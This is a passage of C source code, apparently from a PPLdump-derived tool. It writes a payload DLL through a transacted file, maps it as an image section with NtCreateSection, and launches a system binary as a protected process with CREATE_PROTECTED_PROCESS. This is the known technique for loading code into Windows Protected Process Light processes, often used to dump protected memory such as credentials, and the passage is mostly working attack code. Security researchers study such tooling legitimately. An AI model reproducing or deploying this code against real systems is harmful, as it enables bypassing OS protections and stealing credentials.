LPWSTR pwszSectionName, _Out_ PHANDLE phSection) { /* BOOL bReturnValue = FALSE; OBJECT_ATTRIBUTES oa = { 0 }; UNICODE_STRING sectionName = { 0 }; NTSTATUS status = 0; HANDLE hSection = NULL; HANDLE hDllTransacted = NULL; // TODO PATH: Replacing with just reading from disk HANDLE hTransaction = NULL; //const wchar_t *pwszTargetFile = L"C:\\code\\PPLdump\\x64\\Release\\PPLdumpDll.dll"; const wchar_t* pwszTargetFile = L"C:\\code\\Sealighter\\x64\\Release\\PPLdumpDll.dll"; hDllTransacted = CreateFileW(pwszTargetFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); RtlInitUnicodeString(§ionName, pwszSectionName); InitializeObjectAttributes(&oa, §ionName, OBJ_CASE_INSENSITIVE, NULL, NULL); // // According to the documentation, the SEC_IMAGE attribute must be combined with the page // protection value PAGE_READONLY. But the page protection has actually no effect because the // page protection is determined by the executable file itself. // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga // status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, NULL, PAGE_READONLY, SEC_IMAGE, hDllTransacted); if (status != STATUS_SUCCESS) { SetLastError(RtlNtStatusToDosError(status)); PrintLastError(L"NtCreateSection"); goto end; } *phSection = hSection; bReturnValue = TRUE; end: if (hDllTransacted) CloseHandle(hDllTransacted); return bReturnValue; */ BOOL bReturnValue = FALSE; OBJECT_ATTRIBUTES oa = { 0 }; UNICODE_STRING sectionName = { 0 }; NTSTATUS status = 0; HANDLE hSection = NULL; HANDLE hDllTransacted = NULL; if (!WritePayloadDllTransacted(&hDllTransacted)) goto end; RtlInitUnicodeString(§ionName, pwszSectionName); InitializeObjectAttributes(&oa, §ionName, OBJ_CASE_INSENSITIVE, NULL, NULL); // // According to the documentation, the SEC_IMAGE attribute must be combined with the page // protection value PAGE_READONLY. But the page protection has actually no effect because the // page protection is determined by the executable file itself. // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga // status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, NULL, PAGE_READONLY, SEC_IMAGE, hDllTransacted); if (status != STATUS_SUCCESS) { SetLastError(RtlNtStatusToDosError(status)); PrintLastError(L"NtCreateSection"); goto end; } *phSection = hSection; bReturnValue = TRUE; end: if (hDllTransacted) CloseHandle(hDllTransacted); return bReturnValue; } _Success_(return) BOOL UnmapDll(_In_ HANDLE hSection) { NTSTATUS status = 0; status = NtClose(hSection); if (status != STATUS_SUCCESS) { SetLastError(RtlNtStatusToDosError(status)); PrintLastError(L"NtClose"); return FALSE; } return TRUE; } _Success_(return) BOOL PrepareCommandLine(_In_ LPWSTR pwszRandomGuid, _Out_ LPWSTR* ppwszCommandLine) { BOOL bReturnValue = FALSE; const size_t size = 32767; LPWSTR pwszSystemDirectory = NULL; *ppwszCommandLine = (LPWSTR)LocalAlloc(LPTR, size * sizeof(WCHAR)); if (!*ppwszCommandLine) goto end; pwszSystemDirectory = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); if (!pwszSystemDirectory) goto end; GetSystemDirectory(pwszSystemDirectory, MAX_PATH); StringCchPrintf(*ppwszCommandLine, size, L"%ws\\%ws %ws", pwszSystemDirectory, PPL_BINARY, pwszRandomGuid); if (g_bDebug) StringCchCat(*ppwszCommandLine, size, L" -d"); else { if (g_bVerbose) StringCchCat(*ppwszCommandLine, size, L" -v"); } bReturnValue = TRUE; end: if (pwszSystemDirectory) LocalFree(pwszSystemDirectory); return bReturnValue; } _Success_(return) BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PPROCESS_INFORMATION pProcessInfo) { STARTUPINFO si = { 0 }; HANDLE hProcess = NULL; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if (!CreateProcessAsUser(hToken, NULL, pwszCommandLine, NULL, NULL, TRUE, CREATE_PROTECTED_PROCESS, NULL, NULL, &si, pProcessInfo)) { PrintLastError(L"CreateProcessAsUser"); return FALSE; } CloseHandle(pProcessInfo->hThread); return TRUE; }